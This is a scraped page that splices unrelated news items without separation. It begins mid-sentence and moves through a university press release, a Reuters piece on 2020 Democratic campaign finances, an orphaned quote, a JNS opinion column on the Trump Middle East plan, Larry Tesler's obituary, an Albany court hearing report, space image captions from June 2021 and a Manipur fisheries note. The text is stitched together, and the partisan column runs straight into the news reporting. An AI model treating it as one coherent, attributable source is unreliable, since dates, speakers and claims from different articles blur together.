'language martyrs' of erstwhile East Pakistan for the cause of getting recognition for Bangla as their official language in 1952. [February 21, 2020] Apex Professional University Celebrates Arunachal Pradesh 34th Statehood Day GUWAHATI, India, Feb. 21, 2020 /PRNewswire/ -- 34th Statehood Day of Arunachal Pradesh was celebrated with fervour and zeal by the fraternity of Apex Professional University, Pasighat. The chief guest Ms. Yalem Taga Burang a Social Activist, District President Mahila Morcha and former teachers hoisted the National flag followed by the National Anthem. The guests of honor Ms. Aroti Jongkey, a social activist promoting organic farming and Dr. C. M. Nayak, former Head, Department of History, JNC, Pasighat highlighted the historical background of State while enhancing the awareness among students, members of staff and guests. Prof. (Maj.) Ashok Kumar, Vice-Chancellor of APU, while addressing the prospects and problems of the State revealed that the pristine land of Arunachal Pradesh has lot of potential in agriculture, horticulture, forestry and animal husbandry. For enhancing livelihood, food and nutritional security the development of these sectors is of utmost importance. Ms. Burang, the chief guest emphasized on conserving biodiversity of the State. She said the State has more than 5000 plant species,85 species of terrestrial mammals, 500 birds and more than 500 species of orchids along with rare species of butterflies, insects and reptiles and this flora and fauna needs to be protected and conserved. The words of Dr. Nayak and Ms. Burang were inspirational and motivational to the students, staff and guests. She encouraged and motivated girl students and revealed that right from childhood, girls are more hardworking than boys, she added that males should also share the household chores. As part of celebrations today, final match of volley ball was also played between students and staff. The students team won the match with a narrow margin. The prizes were distributed after the celebrations. Mr. Lungkang Ering convener of Students Welfare Council, Mr. Kamin Tamut, General Secretary student's affairs along with other members of the council actively participated in the colorful celebrations of Statehood Day. The sacred duty of proposing vote of thanks was done by Mr. Kristop Gao, the Deputy Registrar of University. About Apex Professional University Apex Professional University (APU) has been established by the Government of Arunachal Pradesh as a Statutory University under the public private partnership (PPP) scheme in accordance with the provisions contained in section 2(f) of University Grant Commission Act, 1956 and empowered to award degrees in terms of section 22 of UGC Act, 1956. APEX Professional University is also recognized by the Bar Council of India (BCI), National Council for Teacher Education (NCTE), Council of Architecture (COA) and Pharmacy Council of India (PCI) for various Degree and Diploma Programs. Apex Professional University is a member of the Association of Indian Universities (AIU), ASSOCHAM and Quality Council of India. Forbes Magazine has recognized Apex Professional University (APU) as a "Great Indian Institute" and has been acknowledged as "Best Education Brand" by Economic Times. The University has initiated the process of its accreditation by the National Assessment and Accreditation Council (NAAC). Apex Professional University has established an Institute of Indian Knowledge (IIK) as a Centre of Excellence to research, standardize and validate ancient Indian Sciences. IIK conducts courses in Indian System of Architecture (Vastu Shastra), Indian Metaphysical System (Shad Darshana) and Indian System of Healing (Siddha, Ayurveda & Yoga) that equips the students to address the issues of the present world in a rationalized manner. For more details about APU, visit: http://www.apexuniversity.edu.in https://www.facebook.com/apexuniversity/ https://www.youtube.com/channel/UC8DEslSNZ4AawA9JgLNTeRw Photo: https://mma.prnewswire.com/media/1093580/Statehood_Day.jpg Logo: https://mma.prnewswire.com/media/1011744/Apex_Professional_University_Logo.jpg [ Back To TMCnet.com's Homepage ] Share this article Whatsapp Facebook Twitter Linkedin Grant Smith and Ginger Gibson (Reuters) New York/Washington, United States. Fri, February 21, 2020 13:59 691 7f440ff09e92db75a02bbad2065ccbba 2 World #USA,election,Democratic-party,candidates Free US Senator Elizabeth Warren raised more money than most of her Democratic presidential rivals in the weeks before the Iowa caucuses, but spent so heavily that her campaign took out a $3 million loan fearing she would run out of cash. Warren raised $10.4 million in contributions in January more than former Vice President Joe Bidens $9 million and former South Bend, Indiana Mayor Pete Buttigiegs $6 million but ended the month with only $2.3 million in cash, according to disclosures filed on Thursday. All of the presidential hopefuls were required to submit financial disclosures on Thursday, public documents that offer insights into how they are managing their multi-million campaign operations. The ability to raise cash and manage allocations is an important test for candidates to remain competitive as the nominating contest drags on for weeks. At least two of the candidates are enjoying comfortable cash positions. Billionaire Michael Bloomberg is self-funding his campaign, contributing more than $460 million of his own wealth. US Senator Bernie Sanders raised $25 million in January and finished the month with $17 million in cash. Democrats who are still competing for their partys nomination have raised $1.2 billion so far this election, both in donations and from their own money. Warren became the first candidate in the top tier to turn to borrowing money after having spent nearly 97% of her warchest - the highest rate in the field. Her campaign said while she took out a $3 million loan, she only accessed $400,000. Her fundraising in February has been more robust, spokesman Chris Hayden said. Our January end-of-month grassroots fundraising push was very successful and February has been even stronger for us, shattering our monthly record already with more than $17 million raised in the first 20 days of the month, Hayden said. Warren eked out a third-place finish in Iowa and fourth-place finish in New Hampshire. Her widely praised performance in a debate this week buoyed her fundraising. That may be in part thanks to her decision to increase her spending on payroll in January. While other campaigns were ramping up television advertising, Warren instead spent on staff. She increased her payroll by 83%, hoping to turn her fortunes around by flooding Iowa with organizers instead of television ads. She spent $3.2 million on staff in December and $5.9 million in January, giving her the largest payroll. New York media mogul Bloomberg was still ramping up his staff in January after launching his campaign in November. He spent $1.2 million in December and $5.7 million in January. Sanders had a January payroll of $3.9 million, up 19% from the previous month. Biden had the smallest increase, raising his payroll by only 6.8% from $1.9 million to $2 million. US Senator Amy Klobuchar, who defied expectations in Iowa and New Hampshire, maintained the smallest payroll through January, spending only about $816,000 on staff that month. Im repeating my earlier statement that I had two siblings on that train and a sister-in-law. They had beefed up security because the minister was there to scare the attackers, but that didnt happen. (JNS)Leave aside, for the moment, the deepening rows about U.S. President Donald Trumps vision for ending the Middle East conflict. Leave aside the question whether the plans lead author, Jared Kushner, and the U.S. ambassador to Israel, David Friedman, backtracked on an immediate Israeli declaration of sovereignty over the Jordan Valley and the Triangle of disputed territory (they didnt; the need to first map out and agree on the details was stated from the start). Leave aside the uproar among Jewish residents of Judea and Samaria, along with certain southern areas of Israel, who are appalled by the prospect of a proposed Palestinian state (it wont happen because its conditional upon the Palestinians ending their war to exterminate Israel, which they wont ever abandon). Leave aside the way Israels beleaguered Prime Minister Benjamin Netanyahu may be using the Trump proposal for electoral purposes (so hes behaving like a politician; big deal). Look instead at the reaction by Israels Arabs. Not the reaction by the Palestinian Authority, which was merely the latest of their many rejections of a state of their own alongside Israel. Look at the Arabs themselves for whom that state is intended. What is their reaction to the offer of more than 80 percent of the land for such a state? Theyre furious. This isnt because its not 100 percent of the land. Theyre furious at the idea that they might find themselves living in such a state. So furious that they demonstrated in the thousands against the prospect. Palestinian leaders and their Western supporters are shrieking that the plan would strip the Israeli Arabs in the Jordan Valley and the Triangle area of their Israeli citizenship, and transfer them into Palestine by the simply expedient of drawing its border around their villages. This is untrue. The Trump plan states that they will be able to choose between remaining citizens of Israel and becoming citizens of Palestine. So they wouldnt be stripped of their citizenship at all. Changing it would be their choice. And surely, they would all choose to become citizens of Palestinethe outcome weve been told is the absolute precondition for ending the Arab-Israel conflict? Well, guess what. Given this choiceas the evidence has consistently indicatedmany, if not most, would voluntarily choose to remain citizens of Israel. Who could possibly be surprised? As the authoritative Israeli Arab journalist Khaled Abu Toameh has written for the Gatestone Institute, the main reason these Triangle Arabs strongly oppose becoming citizens of a Palestine state is that it would extinguish the freedoms they enjoy as Israeli citizens. The Arab Israelis protests, he writes, are seen as a message to the world that they prefer to continue living in Israel and not under another Arab dictatorship. They hear daily about the oppression of Gazas Arabs at the hands of Hamas. And recently, several students, mostly at An-Najah University in Nablus, were arrested by the P.A. security forces and brutally tortured. Arab students living in the disputed territories, he says, can only envy Israeli Arab students who are free to hold political activities on Israels campuses. Regardless of this reaction to the proposed Palestine state, its important to note just how bizarre this particular aspect of the Trump proposal is. In other wars, the displacement of at least parts of a population is commmonplace, which hardly occasions any comment. In no other conflict have the victims of aggression suggested, as under this plan, that members of this aggressive people should not only be allowed to stay in their own homes, not only be ruled by those they say they want to rule them, but that they should also be invited to remain instead citizens of the country their people have been trying to wipe out. And all this while these people are still led by a regime inciting them to continue their warand who are regarded as such a permanent threat that they can never be trusted with full sovereignty over their own airspace and other security issues. On the face of it, therefore, the proposal for such a Palestine state is suicidally stupid for Israel. So we should ask whyeven though its conditions mean theres zero possibility that the Palestinian Arabs would ever agree to itsuch an apparently perverse offer is being made at all. One answer is that many in the West, including, it seems, Jared Kushner, still naively believe that, offered the prospect of massively leveraged prosperity, the Palestinians will eventually realize that their interests lie in peace rather than war. This suggests a failure properly to internalize the true cause of this conflict, which is not the absence of a Palestinian state but the intention of exterminating Israel. For its own part, vulnerable Israel has felt obliged to go along with this misguided Western consensus because it is nervous of pushing too hard against its allies, even its two-faced friends in Europe and Britain. In addition, right from the start, the Jews of Israel have been strikingly ambivalent about the Arabs who lived in the land, despite the war waged by those Arabs to deny the Jews their rightful home. Thus, during Israels war of independence, the embattled Jews declared they didnt want the Arabs of the land to leave the Jewish state that they were at that very time desperately fighting the Arabs armies to establish. Even during that struggle for existence, they drew a distinction between the leaders and the led. Theres a direct line from that to the Israel of todaynot just to the two-staters on the left who seem blind to the potential threat that Palestine would pose, but to Jewish centrists who believe that the Palestinians are entitled to a state of their own. Yet by any normal moral standard, whatever rights the Palestinian Arabs may ever have had must be considered forfeit many times over as a result of their century-old war of extermination. So why are the Israeli Jews so benign towards these enemies? Maybe theres a submerged degree of guilt, particularly among secular Jews from a European background who originally felt themselves to be cultural outsiders and were therefore sympathetic to the situation of the Arabs living in the land. At the same time, maybe the Palestinian Arabs are a necessarily ambiguous enemy because they are family. A stepfamily, for sure: as the Torah tells us, the descendants of Ishmael who, with his mother Hagar, was driven out into the desert by his father, Abraham. But with that common father, family nevertheless. And however much your family hurts and threatens you, even with unconscionable barbarism and savagery, theres often still a part of you that against all the odds never stops yearning to repair the rift with those to whom you will always feel linked. Peace between the Arabs and the Jews, however, wont come through redrawing the map of the Middle East, but only if the Arab and Muslim world stops trying to wipe the State of Israel off it. But the generosity Israel is displaying towards their Arabs by offering them this choice of nationand the reason for their responseprovides an opportunity to educate Jews whose view of Israel is increasingly shaped by its enemies in what being a Jewish state actually means. And some Israelis need to learn that, too. Melanie Phillips, a British journalist, broadcaster and author, writes a weekly column for JNS. Currently a columnist for The Times of London, her personal and political memoir, Guardian Angel, has been published by Bombardier, which also published her first novel, The Legacy, in 2018. Her work can be found at: www.melaniephillips.com. The Associated Press Larry Tesler, the Silicon Valley pioneer who created the now-ubiquitous computer concepts such as cut, copy and paste, has died. He was 74. He made using computers easier for generations as a proponent and pioneer of what he called modeless editing. That meant a user wouldnt have to use a keyboard to switch between modes to write and edit, for example. The inventor of cut/copy & paste, find & replace, and more was former Xerox researcher Larry Tesler. Your workday is easier thanks to his revolutionary ideas, Xerox said in a tweet Wednesday. Tesler was born in New York and attended Stanford University, where he received a degree in mathematics in 1965. In 1973, he joined Xerox Palo Alto Research Center, a division of the copier company that worked on creating computer products. There, he pioneered concepts that helped make computers more user-friendly. That included such concepts as moving text through cut and paste and inserting text by clicking on a section and just typing. He continued that work when he joined Apple in 1980. At Apple, he worked on a variety of products including the Lisa computer, the Newton personal digital assistant and the Macintosh. After leaving Apple in 1997 he co-founded an education software company and held executive positions at Amazon, Yahoo and the genetics-testing service 23andMe before turning to independent consulting. In 2012, Tesler told the BBC that he enjoyed working with younger people. Theres a very strong element of excitement, of being able to share what youve learned with the next generation, he said. ALBANY District Attorney David Soares found himself in the unusual position of witness Friday as he testified in a hearing called to determine if a former prosecutor's moonlighting work for a defense lawyer might have tainted a murder trial. Under questioning from defense attorney Matthew Hug, Soares also laid out what he recalled from the seven weeks between when his office learned of Assistant District Attorney Steven Sharps work for Edward Meros trial attorney Cheryl Coleman and when Sharp resigned. It shocked me, Soares said, noting that Sharp had started in his office as an intern. Sharp resigned in August 2018 after it was disclosed that he had drawn up appellate briefs for Coleman in cases outside of Albany County without Soares knowledge or approval. Hug says Mero deserves a new trial because the relationship between Coleman and Sharp was a secret when Sharp convinced a jury to convict Mero of murder in 2017. Earlier this month, state Supreme Court Justice Peter Lynch set the stage for testimony from Soares and others in his office because neither the defense nor prosecution had informed him about the Sharp-Coleman business relationship before the Mero trial, which Lynch had presided over. The judge said it deprived him of an opportunity to question Mero about the conflict to determine whether the defendant was comfortable with it. Mero, a 32-year-old former city water worker, is serving 50 years to life in Great Meadow Correctional Facility in Washington County for the murders of Megan Cunningham and Shelby Countermine, both 23. Soares repeatedly said he did not recall specific details about the investigation and its timeline. He told Hug that when he learned of Sharps work in June 2018, he ordered two senior prosecutors, Chief Assistant District Attorney David Rossi and Bureau Chief Chris Horn to investigate. Sharp was suspended with pay on Aug. 7, 2018 and eight days later. Soares said he didnt recall asking Sharp the extent of his work with Coleman when he asked for his resignation. I care very deeply about Steven and we had a conversation, he said. Hug noted the investigation into Sharp was outside of the normal procedures for Soares office and in his offices response to a subpoena there were no documents or reports on that investigation. Additionally, Sharps cell phone and computer were wiped the same day he resigned. Soares said he didnt recall if he had ever asked anyone to examine either of those items as part of the investigation, if Horn and Rossi ever told him whether they interviewed Sharp or if they interviewed other attorneys in Soares office. Hug also asked Soares why he continued to allow Sharp to work for his office even after Sharp admitted to another attorney in Soares office that he had done work for Coleman. For 48 days after you were made aware you took no action, Hug said to Soares. Soares said that as the district attorney, he had to balance the offices workload among other issues and that Sharp was working on a series of important cases, including homicides. I took all of that into consideration and made my decision, he said. None of Sharps cases at that time involved Coleman. Sharp was suspended the same day he presented a homicide case to a grand jury. Soares admitted that his office did not have a written policy barring prosecutors from doing side work for defense attorneys but said he didnt allow prosecutors to do any outside legal work beyond some real estate matters for family. There is an unwritten policy about prosecutors doing any kind of outside work, Soares testified. Attorneys in my office are not permitted to conduct criminal defense work. He said that while he had never directly communicated to staffers that they were not allowed to do outside criminal defense work, he might have mentioned it at staff meetings and that the subject would have come up when he requested more prosecutors from the county legislature during budget talks. After Soares testified, Meros former defense attorney, Coleman, took the stand. At times combative or impatient with Meros other defense attorney, Trey Smith, Coleman said Sharp approached her in 2014 about doing some work for her outside Albany County. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. When it came to Mero, Coleman said she told him about Sharps work for her during a meeting in Albany County jail prior to his conviction. She recalled that when she told him that, he smiled and she tried to correct him that it wouldnt influence the court proceedings in anyway. Its not like that, she recalled telling Mero. Its not like anyones going to throw anything. Coleman added that she hadnt done any other work with prosecutors in Soares office like her work with Sharp. She testified that there were no documents that reflected Sharps work for her during that time and that no one from the district attorneys office ever approached her during their investigation into Sharps work for her. Earlier this month, Lynch ruled that Hug could question Soares and five other members of his office: Rossi, Horn, spokeswoman Cecilia Walsh, deputy chief assistant Cheryl Fowler, and Assistant District Attorney Linda Griggs. Hug has also subpoenaed Sharp, now an assistant public defender in Albany. Earlier: Albany prosecutor resigns, will become public defender Ex-Albany water worker convicted of killing 2 women gets hearing to make case Albany County DA, top staffers subpoened to testify at killer's hearing To get Lynch to dismiss the conviction, Hug must prove his case by a preponderance of the evidence. Colemans testimony is scheduled to restart at 10 a.m. March 3 Space station sensor captures record-breaking heatwave (Image credit: NASA) Wednesday, June 30, 2021: Heat-stricken areas in the U.S. state of Washington around Seattle can be seen in an image based on measurements from a NASA sensor mounted on the International Space Station. The ECOsystem Spaceborne Thermal Radiometer Experiment on Space Station (ECOSTRESS) measures thermal energy emitted in the infrared spectrum by the surface of Earth. The data used to create this image capture the situation on Friday (June 25) around noon when land surface temperatures in Seattle soared up to 120 degrees Fahrenheit (49 degrees Celsius). The land surface temperatures dont reflect air temperatures. However, the current heatwave has smashed temperature records across the Pacific Northwest. According to blog posts by atmospheric scientist Cliff Mass, the extreme heatwave is a result of high pressure inland and low pressure near the coast, which created the right conditions for a strong flow of air from east to west which is pushing the cool ocean air away from the coast. -- Tereza Pultarova Mysterious cloud drifting between galaxies photographed by veteran telescope (Image credit: Ge et al) Tuesday, June 29, 2021: Europe's veteran X-ray telescope XMM Newton photographed an isolated cloud of gas in a distant galaxy cluster that has been puzzling astronomers for four years. The cloud of gas in the Abell 1367 cluster, also known as the Leo Cluster, is larger than the Milky Way and was first spotted by the Japanese Subaru telescope in 2017. The cloud, which has been observed in the visible and X-ray part of the electromagnetic spectrum, seems to be floating between galaxies inside the cluster located some 300 million light years away from Earth. The European Space Agency (ESA), which operates the 22-year-old XMM Newton, said in a statement that the clouds unattached survival is surprising. The image has been processed by a team of scientists from the University of Alabama in Huntsville, U.S., as part of a study published recently in the journal Monthly Notices of the Royal Astronomical Society. It shows the X-ray-emitting part of the cloud in blue colours and its warm gas in red. The white areas in the image show some of the visible galaxies in the distant cluster. Scientists dont know yet where did the cloud come from but they think it somehow separated from one of the larger galaxies in the cluster. They expect it to be held together by a strong magnetic field that prevents it from being ripped apart by the gravitational forces of the surrounding matter. -- Tereza Pultarova Crash test dummies help improve safety of moon explorers (Image credit: NASA) Monday, June 28, 2021: A crash test dummy being prepared for an impact test in the Orion space capsule at NASAs Langley Research Center in Virginia. The capsule, which will take humans to the moon in 2023, was dropped into the Hydro Impact Basin during the test to help engineers assess potential injuries to crew from splashdowns after deep space missions. The manikin was fitted with sensors to record the forces such an impact would exert on the human body to help the teams design mitigation measures to protect the astronauts safety. During the moon trip, the crew is expected to experience 2.5 times the force of gravity during ascent and four times the force of gravity at two different points during the planned reentry profile.-- Tereza Pultarova Moon rocket assembly continues with upper stage integration (Image credit: NASA) Friday, June 25, 2021: Engineers at NASA Kennedy Space Center in Florida are preparing the next step in the assembly of the Space Launch System rocket that will power the unmanned Artemis I. test flight to the moon later this year. The Interim Cryogenic Propulsion Stage (ICPS), seen in this image, will sit atop the rocket just below the Orion crew capsule and give it a final push to get beyond the moon before the return to Earth. In later missions farther into the solar system (to the asteroids and Mars), the liquid oxygen/liquid hydrogen ICPS will be replaced with a more powerful upper stage. The stage, built by Boeing, is based on the Cryogenic Second Stage used on the Delta IV rocket. -- Tereza Pultarova Massive plume of Saharan dust crosses the Atlantic (Image credit: NASA) Thursday, June 24, 2021: A massive plume of Saharan dust stirred up by strong winds in western Africa in early June is finding its way across the Atlantic towards Florida, as can be seen in this image captured by the NASA-NOAA Suomi NPP Satellite. The dust storm comes about a year after the largest cloud of Saharan dust in two decades hit the Caribbean Sea, dimming skies over several states of the U.S. Southeast. At that time, sensors on NASAs Earth-observing satellites measured record concentrations of dust in the atmosphere. Transport of dust from the African desert to the Americas takes place on a regular basis. Every year, more than 180 million tons of Saharan dust get carried across the Atlantic by winds. The size of the plumes from the past two years is, however, quite exceptional, NASA said in a blog post. Some researchers expect that with the progressing climate change, dust storms will intensify as higher temperatures are likely to create more dust. Others, however, think that the rising ocean temperatures and changing wind speeds might lead to more rainfall in the desert regions and, in turn, less dust. -- Tereza Pultarova See-through galaxy captured by Hubble (Image credit: NASA, ESA, STScI, Zili Shen (Yale), Pieter van Dokkum (Yale), Shany Danieli (IAS) IMAGE PROCESSING: Alyssa Pagan (STScI)) Wednesday, June 23, 2021: The Hubble Space Telescope captured new images of a strange see-through galaxy named NGC 1052-DF2 that appears to lack dark matter. The galaxy, discovered in 2018, is about as wide as the Milky Way but contains only about 0.5% of the amount of stars. The galaxy has no visible center or structure and is so diffuse that more distant galaxies can be seen through it. Recent observations carried out between December 2020 and March 2021 with Hubble's Advanced Camera for Surveys indicate the galaxy contains only about 0.25% of the amount of dark matter that the astronomers had expected. Unlike in other galaxies, in the case NGC 1052-DF2, the visible stars seem to account for almost all of the galaxy's matter, which can be calculated by observing the dynamic processes inside the galaxy. Astronomers focused on the brightness of red giant stars in the galaxy to calculate its distance from Earth. Compared to the previous estimate, they now believe the galaxy is farther away - 72 million light years compared to the previously estimated 42 million light years. -- Tereza Pultarova Oops, Ingenuity did it again... (Image credit: NASA) Tuesday, June 22, 2021: The Ingenuity helicopter captured its own shadow during its 8th successful flight on Mars, which took place on Monday (June 21). The 4-lb. (1.8 kilograms) drone flew for 77.4 seconds during the flight, crossing a distance of 160 meters, and landed in a new landing spot about 133.5 meters from the Perseverance rover, NASA said on Twitter. The helicopter, which traveled to Mars attached to the belly of Perseverance, had its original "Wright Brothers" moment on Mars in April and has since gradually increased the distance travelled as well as the complexity of its maneuvers. The 8th flight covered the third longest distance but was the fourth shortest of the flights performed so far. -- Tereza Pultarova Cosmic crash captured by Hubble triggers intense star formation (Image credit: ESA/Hubble & NASA, R. Chandar) Monday, June 21, 2021: Two galaxies colliding 275 million light years away from the sun have been captured by the Hubble Space Telescope in a new image revealing signs of intense star formation about to happen. Astronomers use a single name for the pair of galaxies, IC 1623, as they are in the advanced stages of merging into one new "starburst" galaxy. The process is accompanied by a powerful inflow of gas that is triggering intense formation of new stars, hence the name "starburst". The merging galaxies are a part of the constellation Cetus (or Whale), the fourth largest constellation in the sky, which is located in the southern hemisphere close to Aquarius, Pisces and Taurus. The image, taken by Hubble's Wide Field Camera 3, combines observations in eight different wavelengths ranging from infrared to ultraviolet. ESA said in a statement the object will be among the targets of the NASA/ESA/CASA James Webb Space Telescope as astronomers seek to gain more insight into the processes powering extreme star formation. -- Tereza Pultarova Worst drought spell in decades decimates Brazils coffee production (Image credit: Copernicus) Friday, June 18, 2021: Europe's Sentinel-2 satellite captured a false-color image of a drought-stricken area in southeastern Brazil. The image, taken on Sunday (June 13), shows the coffee-growing region around the town of Patrocinio in the state of Minas Gerais, which is currently struggling with the most severe drought in 91 years. The region, dependent on coffee production by 78% of its economy, has seen very little rain for months. The 2021 coffee harvest has been severely hit by water shortages and, since the southern hemisphere is now entering a usually dry winter period, agronomists are already concerned about the harvest of 2022. According to a recent study published in the journal Nature Communications, extreme drought spells are likely to become more frequent in the area, possibly threatening the regions economic stability. -- Tereza Pultarova Astronaut Thomas Pesquet riding the robotic arm during spacewalk (Image credit: ESA/NASA/Thomas Pesquet) Thursday, June 17, 2021: European Space Agency astronaut Thomas Pesquet attached to the tip of the robotic arm at the International Space Station during a spacewalk on Wednesday (June 16). During the 7 hour and 15 minute spacewalk, Pesquet and his colleague NASA astronaut Shane Kimbrough installed a new ISS Roll-Out Solar Array (iROSA) into its mounting bracket on the stations backbone truss structure. In this image, Pesquet can be seen waving into the camera after letting go of the rolled up 750 lbs (350 kg) iROSA solar array. "It was both a magical experience and a real struggle," Pesquet tweeted after the spacewalk. "I'm not ready to forget this little trick at the end of the robotic arm while holding a piece of equipment that is 3 times my weight." He then complimented fellow crew member, NASA astronaut Megan McArthur, who controlled the robotic arm during the operation to her skills. "Fortunately, @Astro_Megan is a robotic arm driving trophy champion." Pesquet and Kimbrough are expected to conduct another spacewalk next week to install electrical cables and bolts to enable the solar array to deploy and start providing power for the orbital outpost. -- Tereza Pultarova Starliner readied for July test flight (Image credit: NASA) Wednesday, June 15, 2021: NASA and Boeing engineers are preparing the Starliner space capsule for its second uncrewed test flight to the International Space Station in late July. The teams at NASA's Kennedy Space Center in Florida started fuelling the capsule this week ahead of the its transfer to the Vertical Integration Facility at Space Launch Complex-41 on Cape Canaveral Space Force Station, where it will be mated with the United Launch Alliance Atlas V rocket. Starliner's first test flight in December 2019 failed to reach the space station due to software errors and communication dropouts. A joint NASA-Boeing review team then recommended a set of improvements related to testing and simulations, operational processes, software requirements and the working of the crew module communication system. -- Tereza Pultarova Jupiter explorer JUICE ready for space simulation (Image credit: ESA) Tuesday, June 15, 2021: The European Space Agencys (ESA) future Jupiter exploring spacecraft JUICE, which will search for signs of life on the ice-covered moons in the Jovian system, is getting its first taste of a space-like environment in the Large Space Simulator at ESAs facilities in the Netherlands. During a month-long test campaign, the spacecraft, built by European aerospace giant Airbus, will be subject to extreme temperature cycles, vacuum and radiation, similar to what it will experience on its journey to Jupiter. Equipped with a suite of remote-sensing instruments, Juice will make detailed observations of Jupiter and its three large ocean-bearing moons Ganymede, Callisto and Europa searching for possible chemical signatures of life. --Tereza Pultarova First look at SLS rocket in launch configuration (Image credit: NASA) Monday, June 14, 2021: Engineers at NASA's Kennedy Space Centre in Florida assembled three main elements of the Space Launch System (SLS) rocket into their launch configuration for the first time. The rocket, capable of generating more than 8.8 million lbs of thrust, will power the Artemis I mission, which will launch later this year and test an uncrewed Orion module in a flight to the moon and back prior to the first lunar mission with astronauts in 2023 On Friday, the teams working at the iconic Vehicle Assembly Building, lowered the 212-foot (65 m) tall core stage onto the mobile launcher platform between the two smaller solid rocket boosters, then secured the boosters to the core stage. The 212-foot (65 m) tall stage arrived at Kennedy Space Centre in late April this year after a series of tests at Stennis Space Centre. -- Tereza Pultarova SLS core stage lifted ahead of booster integration (Image credit: NASA) Friday, June 10, 2021: The core stage of NASA's Space Launch System (SLS) rocket, which will pave the way for humankind's return to the moon, has been lifted out of its stand ahead of integration with solid rocket boosters. The 212-foot (65 m) tall stage arrived at Kennedy Space Centre in late April this year after a series of tests at Stennis Space Centre. Engineers will now integrate the core stage with the mobile launcher platform and the twin solid rocket boosters. Together, the stack will provide more than 8.8 million lbs of thrust to launch the unmanned Artemis I mission to the moon in November this year, testing the Orion space capsule ahead of future missions with astronauts.-- Tereza Pultarova Sunrise adds more magic to solar eclipse (Image credit: Samuel Smith) Thursday, June 10, 2021: The giant crescent of the sun rising during the partial solar eclipse today, June 10, photographed by Samuel Smith from Middletown, Delaware, the U.S.. Observers on the U.S. West Coast couldnt see the full annular eclipse, a type of eclipse that occurs when the moon is too far away from Earth and doesnt cover the solar disk completely, leaving a ring of fire around as it passes in front of the sun. Still, the combination of the partial eclipse and the sunrise (the eclipse peaked at about 6:14 AM Eastern Day Time) provided spectacular opportunities for skilled photographers. In some places, however, cloudy weather complicated or even ruined the event. -- Tereza Pultarova Junos first close-ups of Jupiters moon Ganymede (Image credit: NASA/JPL-Caltech/SwRI/MSSS) Wednesday, June 9, 2021: Jupiters moon Ganymede, the largest moon in the solar system, can be seen in one of the first close-up images captured by the Juno space probe during its closest flyby at the moon to date. Surface features including craters and terrain discolorations along tectonic faults can be seen in the images captured on Monday, June 7, by Junos JunoCam camera. During the flyby, Juno was about 645 miles (1,038 kilometers) from Ganymedes surface, the closest any spacecraft has been since the Galileo mission in the early 2000s. NASA released this preliminary image taken through JunoCams green filter on Tuesday, June 8, one day after the closest approach. Juno scientists will now process the images, stitching together the three images taken separately through the cameras green, read and blue filters. -- Tereza Pultarova Dragon cargo ship arriving at space station (Image credit: ESA/NASAT. Pesquet) Monday, June 7, 2021: European astronaut Thomas Pesquet took a picture of the approaching Dragon Cargo capsule shortly before its docking at the International Space Station (ISS) on Saturday 5 June. Pesquet, who arrived at the orbital outpost in April as part of Crew-2 on board of SpaceX's Crew Dragon capsule Endeavour has posted the image on Instagram, commenting that the cargo ship disrupted the crew's usual Saturday cleaning routine as astronauts had to focus on unpacking the freshly delivered supplies. Pesquet added that technology has advanced since his previous stay at the orbital outpost in 2016 as back then the SpaceX Cargo Dragon vehicle had to be attached to the station with a robotic arm instead of doing it autonomously.-- Tereza Pultarova ExoMars rover Earth twin starts Mars-yard training (Image credit: ESA) Friday, June 4, 2021: The Ground Test Model of the European Exomars Rosalind Franklin rover has completed its first drive in a Mars yard, which simulates not only the type of surface the rover will encounter on the red planet but also the reduced gravity. The Ground Test Model is an exact replica of the rover that will be sent to Mars in September next year (if all goes according to plan) and will help engineers to finetune various aspects of the rovers operations ahead of the landing on the red planet in 2023. Last month, the replica was moved from the facilities of the integrator Thales Alenia Space in Turin, Italy, to the neighbouring Rover Operations Control Center Mars Terrain Simulator. In the image, the model can be seen suspended on cables attached to a mobile crane. The support system absorbs two thirds of the rovers weight of 640 lbs. (290 kilograms) to make it move as lightly as it would on Mars. The rover operators will use the replica to practice moving across different types of Martian surface but also to test the 6.5-foot-long (2 meters) drill, which will (hopefully) help the real Rosalind Franklin find traces of life under the Martian surface. -- Tereza Pultarova Rocket that will return humans to the moon being assembled by NASA (Image credit: NASA) Thursday, June 3, 2021: Engineers at NASAs Michoud Assembly Facility in New Orleans have integrated first elements of the Space Launch System (SLS) rocket, which will propel humankind's return to the moon in 2023. Last week, engineers at Michoud stacked the rocket's forward skirt with the liquid oxygen tank and the intertank flight hardware, which houses avionics, the flight computer and electronic systems of the rocket stage. The 66 foot (20 meters) tall upper part of the stage is just a fraction of the entire core stage, which will be 212 foot (65 meters) tall when fully assembled. The joining of these three structures together is the first major assembly of core stage hardware for the Artemis II mission, which will be the second flight of the SLS rocket. SLS will be put to the test for the first time later this year as part of the uncrewed Artemis I mission that will fly around the moon and return back to Earth. -- Tereza Pultarova Spacewalkers prepare old module for disposal (Image credit: NASA) Wednesday, June 2, 2021: Russian cosmonaut Oleg Novitsky can be seen at the end of the 46-foot-long (14 meters) Strela crane during a seven-hour spacewalk conducted on Wednesday, June 2, at the International Space Station. The image was captured by the helmet camera worn by Novitsky's colleague Pyotr Dubrov. During the spacewalk, the two cosmonauts disconnected cables between the 20-year-old Pirs docking module and the Zvezda service module and relocated the Strela crane, which was originally attached to Pirs. The work was part of preparations for the disposal of Pirs later this year and the installation of the replacement Multi-purpose Laboratory Module Nauka, which will arrive at the space station in July. During the spacewalk, the cosmonauts also replaced the fluid flow regulator panel attached to the Zarya module. They then jettisoned the old panel by pushing it away from the space station in the direction of Earth. NASA said the panel will burn in the atmosphere. -- Tereza Pultarova Rare snowfall in driest place on Earth captured by satellites (Image credit: Copernicus) Tuesday, June 1, 2021: Heavy snowfall covered the Atacama Desert in Chile with up to 6 inches (15 centimeters) of snow last week as captured in this image taken by the European Sentinel-2 satellite. The Atacama Desert, which spreads along the Pacific coast of South America from central Chile up to southern Peru, receives on average less than 0.6 inches (1.5 centimeters) of rainfall per year, and is generally considered one of the driest places on Earth. Manipur on the move to conserve indigenous fish species February 21,2020 | Source: Eastern Mirror Manipurs Fisheries Minister N Kayisii said steps have been taken up to conserve indigenous fish species in the state. Replying to a question raised by opposition MLA K Ranjit Singh at the ongoing Budget Session on Wednesday, he said with non-availability of indigenous fish species namely pengba, Meitei-ngamu, porom, ngamu-bogra and Meitei-ngakra, 10 Murrel Hatcheries (6 in Imphal West district 2 in Bishnupur 1 each in Imphal East and Thoubal) have been opened to conserve and production of indigenous fishes under National Fishery Development Board, Hyderabad. Also, he said with the implementation of Bio FLOC, a new technology of rearing fish, there will be sufficient production of indigenous fish in the state. 